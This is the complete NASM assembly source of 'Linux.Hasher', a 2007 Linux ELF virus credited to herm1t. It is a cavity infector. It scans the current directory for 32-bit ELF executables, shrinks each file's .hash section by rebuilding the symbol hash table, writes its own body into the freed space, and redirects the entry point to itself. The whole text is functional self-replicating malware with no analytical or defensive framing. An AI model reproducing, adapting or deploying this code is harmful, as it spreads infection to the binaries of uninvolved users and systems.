Linux.Hasher.c
herm1t
; Linux.Hasher (x) 2007, herm1t
; Features:
; - cavity infector, shrink .hash section, file size will not be increased
; - no delta, address of the virus saved in the body upon infection
%macro movb 2
%if %2 == 0
xor %1, %1
%else
push byte %2
pop %1
%endif
%endmacro
BITS 32
CPU 486
global _start
_start: push strict dword fake_host
pusha
enter 268,0 ; sizeof(dirent)
push '.'
mov ebx, esp
movb eax, 5
movb ecx, 0
int 0x80
or eax, eax
js .vr
xchg eax, ebx
.rd: mov ecx, esp
movb eax, 89
int 0x80
dec eax
jz infect
.vc: movb eax, 6
int 0x80
.vr: leave
popa
ret
infect: pusha
mov al, 5
lea ebx, [esp + 32 + 10] ; d_name
movb ecx, 2
int 0x80
or eax, eax
js .ir
push eax
xchg eax, ebx
movb eax, 19
mov edx, ecx
sub ecx, ecx
int 0x80
push eax
xchg eax, edx
pusha
mov ecx, edx
mov edi, ebx
mov al, 192
xor ebx, ebx
movb edx, 3
movb esi, 1
xor ebp, ebp
int 0x80
mov [esp + 28], eax
bswap eax
inc ax ; > 0xffff0000
popa
jz .ic
xchg eax, esi
mov eax, dword [esi] ; ? 0x464c457f
xor eax, dword [esi + 16] ; ? 0x00030002
add eax, 0xb9b0ba83
jnz .iu
cmp al, [esi + 15]
jne .iu
inc byte [esi + 15]
xor ebx, ebx ; hash
xor edx, edx ; dynsym
mov edi, [esi + 32] ; e_shoff
add edi, esi
movzx ecx, word [esi + 48] ; e_shnum
.hl: cmp dword [edi + 4], 5 ; sh_type == SHT_HASH
jne .h1
mov ebx, edi
.h1: cmp dword [edi + 4], 11 ; sh_type == SHT_DYNSYM
jne .h2
mov edx, edi
.h2: add edi, 40
loop .hl
mov eax, ebx
and eax, edx
jnz .fh
.iu: movb eax, 91
mov ebx, esi
pop ecx ; length
int 0x80
.ic: movb eax, 6
pop ebx ; handle
int 0x80
.ir: popa
jmp _start.rd
.fh: mov edi, [ebx + 16] ; hash.sh_offset
add edi, esi
mov ecx, [edi + 0] ; nbuckets
mov ebp, [edi + 4] ; nchains
sub ecx, (_size + 3) / 4
js .iu
; ebx - hash shdr
; ecx - new nbuckets
; edx - dynsym shdr
; edi - hash ptr
; ebp - nchains
; clean hash
pusha
mov ecx, [ebx + 20] ; s_hash.sh_size
xor eax, eax
rep stosb
popa
push ebx
mov ebx, [edx + 24] ; dynsym.sh_link
lea ebx, [ebx * 4 + ebx]
lea ebx, [ebx * 8] ; * sizeof(Elf32_Shdr)
mov eax, [esi + 32] ; e_shoff
add eax, esi ; SHT
lea ebx, [eax + ebx] ; dynstr (shdr)
mov ebx, [ebx + 16] ; dynstr.sh_offset
add ebx, esi
push ebx ; + dynstr
mov edx, [edx + 16] ; dynsym.sh_offset
add edx, esi
push edx ; + dynsym
push ebp ; + nchains
push ecx ; + new nbuckets
push edi ; + hash
call build_hash
pop ebx
; copy virus body
mov edx, [edi + 0] ; nbuckets
add edx, [edi + 4] ; nchains
inc edx ; + 2
inc edx
shl edx, 2 ; * 4
; edx - virus offset within .hash
pusha
add edi, edx
mov ecx, _size
mov esi, strict dword _start
_self equ $-_start-4
rep movsb
popa
mov eax, [esi + 24] ; e_entry
mov [edi + edx + 1], eax ; save old entry
mov eax, [ebx + 12] ; sh_addr
add eax, edx
mov [edi + edx + _self], eax
mov [esi + 24], eax ; e_entry
jmp .iu
elf_hash: pusha
cld
xor eax, eax
xor edx, edx ; edx - h
mov esi, [esp + 36] ; name
.next: lodsb
or eax, eax
jz .done
shl edx, 4
add edx, eax
mov ebx, edx
and ebx, 0xf0000000
jz .skip
mov ecx, ebx
shr ecx, 24
xor edx, ecx
.skip:
not ebx
and edx, ebx
jmp .next
.done: mov [esp + 28], edx
popa
retn 4
build_hash: pusha
cld
mov edi, [esp + 36] ; hash
mov eax, [esp + 40] ; nbuckets
stosd
xchg eax, ecx
mov eax, [esp + 44] ; nchains
stosd
xchg eax, ebp
lea esi, [edi + ecx * 4] ; chains
xor ebx, ebx
inc ebx
; ebx - i
; ecx - nbuckets
; esi - chains
; edi - buckets
; ebp - nchains
.for: mov eax, [esp + 48] ; sym
mov edx, ebx
shl edx, 4 ; edx = i * sizeof(Elf32_Sym)
mov eax, [eax + edx] ; sym[i].st_name
add eax, [esp + 52] ; str
push eax
call elf_hash
; eax - h
xor edx, edx
div ecx
; edx = elf_hash(str + sym[i].st_name) % nbuckets;
mov eax, [edi + edx * 4]
or eax, eax
jnz .else
mov [edi + edx * 4], ebx
jmp .endif
.else: mov edx, [edi + edx * 4]
.while: mov eax, [esi + edx * 4]
or eax, eax
jz .end_while
mov edx, [esi + edx * 4]
jmp .while
.end_while:
mov [esi + edx * 4], ebx
.endif:
inc ebx
cmp ebx, ebp
jb .for
popa
retn 20
_size equ $-_start
fake_host: mov eax,1
int 0x80